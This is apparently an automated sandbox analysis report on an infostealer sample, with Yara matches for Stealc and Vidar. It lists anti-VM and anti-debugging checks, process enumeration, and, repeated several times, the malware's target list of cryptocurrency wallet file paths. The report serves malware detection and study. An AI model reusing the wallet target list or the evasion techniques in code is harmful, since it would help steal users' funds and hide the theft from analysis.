Source: IeccNv7PP6.exe, 00000000.00000002.4138451016.0000000002E08000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000003.4112685558.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138451016.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000003.4112685558.0000000002E06000.00000004.00000020.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 795F.tmp.exe, 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: IeccNv7PP6.exe, 00000000.00000003.4112685558.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138451016.0000000002E39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: 795F.tmp.exe, 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\*
Source: chrome.exe, 00000005.00000002.2054959149.00006C4002F28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=3dd3a22c-2e87-4c0d-a55e-f84013f7c1de
Source: chrome.exe, 00000005.00000002.2041822887.00000254F903E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_0042A3F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0042A3F3

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Code function: 2_2_00404A60 VirtualProtect 00000000,00000004,00000100,?

2_2_00404A60

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_0041EC7E LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041EC7E

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0042FE7F mov eax, dword ptr fs:[00000030h]	0_2_0042FE7F
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_02DAD54B push dword ptr fs:[00000030h]	0_2_02DAD54B
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_046600E6 mov eax, dword ptr fs:[00000030h]	0_2_046600E6
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_04630D90 mov eax, dword ptr fs:[00000030h]	0_2_04630D90
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0463092B mov eax, dword ptr fs:[00000030h]	0_2_0463092B
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004265A0 mov eax, dword ptr fs:[00000030h]	2_2_004265A0

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_0043BBE1 GetProcessHeap,

0_2_0043BBE1

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0042A3F3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0042A3F3
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_004104F3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004104F3
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_00410686 SetUnhandledExceptionFilter,	0_2_00410686
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0040F936 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040F936
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0465A65A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0465A65A
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0464075A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0464075A
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_046408ED SetUnhandledExceptionFilter,	0_2_046408ED
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0463FB9D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0463FB9D
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00429989 SetUnhandledExceptionFilter,	2_2_00429989
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00427DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00427DAA
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004277C8 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004277C8
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C12B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6C12B66C
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C12B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C12B1F7
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2DAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C2DAC62

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 795F.tmp.exe PID: 7684, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004248B0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,		2_2_004248B0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00424820 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,		2_2_00424820

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Process created: C:\Users\user\AppData\Local\Temp\795F.tmp.exe "C:\Users\user\AppData\Local\Temp\795F.tmp.exe"

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Code function: 2_2_6C324760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

2_2_6C324760

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_0041079B cpuid

0_2_0041079B

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_0043B02A
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,	0_2_004351E0
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_0043B2ED
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_0043B2A2
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_0043B388
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0043B415
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,	0_2_0043B665
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0043B78E
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,	0_2_0043B895
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0043B962
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_00434DED
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,	0_2_04665447
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_0466B554
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_0466B509
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_0466B5EF
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: EnumSystemLocalesW,	0_2_04665054
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_0466B291
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,	0_2_0466B8CC
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0466B9F5
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetLocaleInfoW,	0_2_0466BAFC
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0466BBC9
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	2_2_00422F30

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_004103ED GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_004103ED

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Code function: 2_2_00422C10 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_00422C10

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Code function: 2_2_00422DE0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_00422DE0

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_0041640A GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,

0_2_0041640A

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 2.2.795F.tmp.exe.810e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.795F.tmp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.795F.tmp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.795F.tmp.exe.22f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.795F.tmp.exe.810e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.795F.tmp.exe.22f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1881236653.00000000022F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2394052195.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 795F.tmp.exe PID: 7684, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 795F.tmp.exe PID: 7684, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.json
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: info.seco
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 